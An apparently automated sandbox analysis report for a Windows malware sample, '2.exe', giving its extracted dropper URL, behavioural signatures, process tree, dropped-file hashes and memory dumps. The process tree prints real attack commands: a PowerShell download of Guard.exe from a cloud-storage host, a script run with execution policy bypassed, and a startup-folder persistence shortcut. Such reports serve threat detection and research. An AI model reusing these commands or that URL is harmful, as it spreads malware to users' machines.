Analysis

  • max time kernel
    125s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/11/2024, 23:37

General

  • Target
    2.exe
  • Size 1.1MB
  • Sample241106-3mdgpaspdn
  • SHA256 e407a38eed731274df47ae9255e471e6c1eadee50a786f93108d177d932f1172
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://my.cloudme.com/v1/ws2/:slight-stood/:web/web.txt

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 22 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of FindShellTrayWindow 20 IoCs
  • Suspicious use of SendNotifyMessage 20 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3444
      • C:\Users\Admin\AppData\Local\Temp\2.exe
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        2⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:1940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Invoke-WebRequest -Uri "https://my.cloudme.com/v1/ws2/:slight-stood/:web_1/web" -OutFile "C:\Users\Public\Guard.exe""
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2700
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1960
          • C:\Users\Public\Guard.exe
            "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of WriteProcessMemory
            PID:3896
      • C:\Windows\SysWOW64\cmd.exe
        cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\Admin\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
        2⤵
        • Drops startup file
        • System Location Discovery: System Language Discovery
        PID:4204
      • C:\Users\Public\jsc.exe
        C:\Users\Public\jsc.exe
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2176
      • C:\Users\Public\jsc.exe
        "C:\Users\Public\jsc.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4080
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /C wmic diskdrive where "DeviceID=\'c:\'" get SerialNumber /value
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1600
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic diskdrive where "DeviceID=\'c:\'" get SerialNumber /value
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:3616
        • C:\Windows\SysWOW64\rundll32.exe
          "C:\Windows\system32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\.ses",start
          3⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4496
          • C:\Windows\system32\rundll32.exe
            "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61
            4⤵
              PID:3944
            • C:\Windows\system32\rundll32.exe
              "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61
              4⤵
                PID:1420
              • C:\Windows\system32\rundll32.exe
                "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61
                4⤵
                  PID:2436
                • C:\Windows\system32\rundll32.exe
                  "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61
                  4⤵
                    PID:3472
                  • C:\Windows\system32\rundll32.exe
                    "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61
                    4⤵
                      PID:412
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4080 -s 388
                    3⤵
                    • Program crash
                    PID:2564
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 4080 -ip 4080
                1⤵
                  PID:2680

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      powershell.exe.log

                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                      • Size 2KB
                      • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
                      • MD5 SHA1 SHA512

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 fcd4a469c653f6bd319b201326633c2183a70184bc159c071915a9c4abd92d3c
                      • MD5 SHA1 SHA512

                      .ses

                      • Path C:\Users\Admin\AppData\Local\Temp\.ses
                      • Size 4.0MB
                      • SHA256 4ce7ab94060f74f36288dcce8ec72b65778183d99064660644834010f42b736b
                      • MD5 SHA1 SHA512 SSDEEP

                      Iefqirreqed

                      • Path C:\Users\Admin\AppData\Local\Temp\Iefqirreqed
                      • Size 40KB
                      • SHA256 02b1c2234680617802901a77eae606ad02e4ddb4282ccbc60061eac5b2d90bba
                      • MD5 SHA1 SHA512 SSDEEP

                      __PSScriptPolicyTest_ujmnz5gt.asc.psm1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ujmnz5gt.asc.psm1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      Guard.exe

                      • Path C:\Users\Public\Guard.exe
                      • Size 872KB
                      • SHA256 d8b7c7178fbadbf169294e4f29dce582f89a5cf372e9da9215aa082330dc12fd
                      • MD5 SHA1 SHA512 SSDEEP

                      PublicProfile.ps1

                      • Path C:\Users\Public\PublicProfile.ps1
                      • Size 362B
                      • SHA256 dae667196e8dc197c7e0a5ecb4718d26f8a8276c72cc190e14cdf8ed67b3b8c5
                      • MD5 SHA1 SHA512

                      Secure.au3

                      • Path C:\Users\Public\Secure.au3
                      • Size 10.7MB
                      • SHA256 daf4100279eaabf2c17b8e08026f4da4ebd817dc16d381b3daebe7adb9384c7c
                      • MD5 SHA1 SHA512 SSDEEP

                      jsc.exe

                      • Path C:\Users\Public\jsc.exe
                      • Size 46KB
                      • SHA256 39e87f0edcdd15582cfefdfab1975aadd2c7ca1e3a5f07b1146ce3206f401bb5
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/1960-29-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

                      memory/1960-32-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

                      memory/1960-33-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

                      memory/1960-34-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

                      memory/1960-28-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

                      memory/1960-39-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

                      memory/1960-18-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

                      memory/2176-104-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-100-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-51-0x0000000006460000-0x00000000068EE000-memory.dmp

                      memory/2176-52-0x0000000007B40000-0x0000000007FD0000-memory.dmp

                      memory/2176-53-0x0000000008590000-0x0000000008B34000-memory.dmp

                      memory/2176-54-0x00000000080E0000-0x0000000008172000-memory.dmp

                      memory/2176-67-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-64-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-74-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-81-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-78-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-90-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-92-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-1134-0x0000000005530000-0x0000000005584000-memory.dmp

                      memory/2176-120-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-118-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-116-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-114-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-113-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-110-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-108-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-106-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-102-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-48-0x0000000000740000-0x0000000000C02000-memory.dmp

                      memory/2176-98-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-82-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-96-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-95-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-88-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-84-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-86-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-77-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-70-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-72-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-68-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-62-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-60-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-58-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-57-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-55-0x0000000007B40000-0x0000000007FCA000-memory.dmp

                      memory/2176-1129-0x0000000005680000-0x0000000005A82000-memory.dmp

                      memory/2176-1130-0x00000000051E0000-0x000000000522C000-memory.dmp

                      memory/2700-0-0x00007FF9F5823000-0x00007FF9F5825000-memory.dmp

                      memory/2700-15-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

                      memory/2700-11-0x00007FF9F5820000-0x00007FF9F62E1000-memory.dmp

                      memory/2700-6-0x000002CDCC950000-0x000002CDCC972000-memory.dmp